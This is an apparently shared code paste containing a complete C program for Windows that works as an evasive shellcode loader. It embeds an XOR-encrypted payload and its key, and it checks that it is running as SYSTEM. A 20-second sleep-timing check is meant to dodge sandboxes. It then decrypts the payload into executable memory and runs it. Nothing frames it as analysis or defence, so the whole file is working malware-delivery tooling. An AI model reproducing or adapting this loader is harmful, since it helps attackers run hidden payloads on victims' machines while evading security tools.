Untitled

 avatar
unknown
plain_text
10 months ago
5.6 kB
20
Indexable
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <stdbool.h>

unsigned char data[] = "\x3b\x71\xba\x2d\xe2\x9b\xa5\x8b\xb4\x9a\x31\xce\x24\x9f\x97\xcc\xad\x3b\xfb\xdb\xd2\xf3\xcf\xa3\x9d\x0c\xef\x31\x72\x79\x57\x20\x1e\xaa\x8c\xbf\x8c\x87\x97\x26\x9a\x67\x12\x53\x78\xc8\xab\xd8\xdf\xe2\xbe\xf4\xf9\x66\xa7\xfa\x17\xa4\xac\xc5\x07\x6c\xa9\xc1\x4c\xaa\x96\xc2\xd2\x8c\xab\xed\x99\xd3\x11\xfa\x29\x50\xa3\xa3\x99\x57\x9f\xbf\xf3\x05\x0a\x77\xee\x92\xb3\xa1\xb1\x2c\xae\x10\x3d\xbc\x8c\xaf\x1b\xf7\x14\xba\x8c\x7e\x8c\x94\x07\x71\xfd\x85\xcf\x03\xdd\xe7\xe7\xf5\xa0\xc3\xfc\xe1\xd7\x20\xe9\x22\xfe\xe3\x59\x69\x76\xe7\x99\x2f\xf1\x7f\x04\xa4\xa9\xeb\x8b\xe5\xbf\x57\xb4\xed\x80\x0e\x88\x17\xab\x9a\x35\x00\xab\xfd\x73\xed\xb5\xfc\x0a\x9a\x53\x8b\x22\x2e\xfb\x16\xcc\xf3\x0e\xc7\x5b\xeb\xe4\x76\x93\xe5\x37\x9b\x70\x71\x5a\x94\xdc\xef\xcb\xbd\xec\x0d\x3e\xbe\x1d\xad\x8d\x06\xcc\x1a\x80\x88\x17\x9e\xcf\x1f\x96\x4f\xbd\x46\x94\xfe\x91\xb3\x72\x63\x78\xef\x1e\xa8\xd4\x25\xfa\x6c\x8b\x83\x8c\xaa\x95\xe2\xc5\x4d\xb6\x90\xae\xf9\x4e\x42\xfa\x54\xab\x17\x24\xad\x9f\xed\xd6\x7b\x4a\xdf\x27\x98\x63\x49\x7e\x29\x91\x65\x80\x90\xea\xfa\xa8\x10\xfe\xe3\x93\xbf\xb7\x6e\x7f\x67\x38\x16\x64\xd1\xce\xa3\xc3\xbc\x0a\x95\x40\xf7\xc4\x84\x73\xf7\x4a\x7c\x64\xa2\xa9\xfc\x05\xc0\xb4\x44\x32\x9a\x62\xf3\xdd\x40\xfd\x3f\x51\x8e\x47\x6c\xf2\x23\xe8\xda\xd2\xbd\xb7\x19\xb9\x84\xc0\xd8\x20\x76\x85\xbf\xe8\x6a\xbf\x9b\x88\xc4\x00\xc0\xbd\xfe\x81\x76\x07\xb0\x07\x56\xd2\xf8\x39\x85\x5d\x23\x99\x08\x48\x2d\x2c\x0b\x69\x35\x9d\x7c\x7c\x5e\xda\x9a\x8a\xbf\x46\x41\xd5\x85\x16\x90\x4e\x28\x68\xda\xbb\xea\x2c\x6d\x04\x81\xd4\xfd\x73\xfd\xb4\x28\x26\x40\x9c\xb6\x81\x3c\x5b\x37\xe7\xab\x51\x47\xd6\x13\x37\x89\xd6\xa8\xa6\xaf\x10\xd6\xf8\x40\xc6\x09\x06\xfc\x75\xe0\x6c\x24\xfc\x8b\x91\xcd\x4b\xf3\xc2\xc5\x6c\x15\x97\xf5\xcd\x7d\x90\xcd\xd3\xdb\xd8\xfe\xf2\x2e\x73\x32\xcc\xf3\x07\xc7\x20\x7a\x4d\x89\x37\x1b\x23\xeb\x19\xc7\xe2\x51\x18\xee\xde\x7c\xe0\xbd\x1f\x83\x4c\x2f\x81\x04\x75\x7f\x73\x8b\x1e\x30\xd1\x6b\x4f\x84\x01\xcd\xa9\xca\x80\xf3\xf5\x7b\x9b\xeb\xd6\xe0\xd5\xb4\xe3\x5e\xca\x81\x93\x49\xc4\x8c\x92\x3c\x10\x04\xa3\xe8\x8c\x14\xaf\x7b\xb4\x89\x3b\x20\x97\x4b\x42\xda\xfd\x32\x31\x2c\xd4\xb7\x42\x3c\xf1\x1d\xbf\x66\x2e\xd0\x2f\x63\x01\x04\x8a\x83\xfe\xbe\xd0\xe8\x7b\x0a\x71\x72\x98\x5c\x5f\x35\xef";

// Forward declarations
void xor_enc_dec(unsigned char* data, size_t data_len, const char* key, size_t key_len);
int preflight();
int user_is_active();

int main() {
    preflight();
    return 0;
}

void xor_enc_dec(unsigned char* data, size_t data_len, const char* key, size_t key_len) {
    for (int i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];
    }
}

int user_is_active() {
    int factor = 20;
    int factor_calculated = factor * 1000;
    DWORD start_time = GetTickCount();
    Sleep(factor_calculated);
    DWORD end_time = GetTickCount();
    DWORD difference = end_time - start_time;
    
    int expected_difference = factor_calculated;
    int tolerance = 500; // Increased tolerance
    
    if (difference >= (expected_difference - tolerance)) {
        return 1;
    }
    return 0;
}

int preflight() {
    WCHAR username[256];
    DWORD username_len = sizeof(username) / sizeof(WCHAR);
    
    if (GetUserNameW(username, &username_len)) {
        wprintf(L"[+] current user : %s \n", username);
        wprintf(L"current user length : %lu \n", wcslen(username));

        if (wcslen(username) == 6) {
            if ((username[0] == L'S' || username[0] == L's') && 
                (username[1] == L'Y' || username[1] == L'y') &&
                (username[2] == L'S' || username[2] == L's') &&
                (username[3] == L'T' || username[3] == L't') &&
                (username[4] == L'E' || username[4] == L'e') &&
                (username[5] == L'M' || username[5] == L'm')) {
                
                wprintf(L"[+] Username matches 'SYSTEM' pattern\n");
                
                if (user_is_active()) {
                    char* key = "s@secretKeyC!ph3R";
                    size_t key_len = strlen(key);
                    size_t data_len = sizeof(data) - 1; // Use sizeof for binary data
                    
                    printf("[+] Decrypting shellcode...\n");
                    xor_enc_dec(data, data_len, key, key_len);
                    
                    printf("[+] Allocating memory...\n");
                    void* exec_mem = VirtualAlloc(0, data_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                    if (exec_mem == NULL) {
                        printf("[-] Memory allocation failed: %lu\n", GetLastError());
                        return 0;
                    }
                    
                    printf("[+] Copying shellcode...\n");
                    memcpy(exec_mem, data, data_len);
                    
                    printf("[+] Executing shellcode...\n");
                    ((void(*)())exec_mem)();
                    
                    printf("[+] Shellcode executed\n");
                } else {
                    printf("[-] User is not active\n");
                    return 0;
                }
            } else {
                printf("[-] Not authorized user (pattern mismatch)\n");
                return 0;
            }
        } else {
            printf("[-] Not authorized user (wrong length: %lu)\n", wcslen(username));
            return 0;
        }
    } else {
        printf("[-] Failed to get the current username: %lu\n", GetLastError());
        return 0;
    }
    return 1;
}
Editor is loading...
Leave a Comment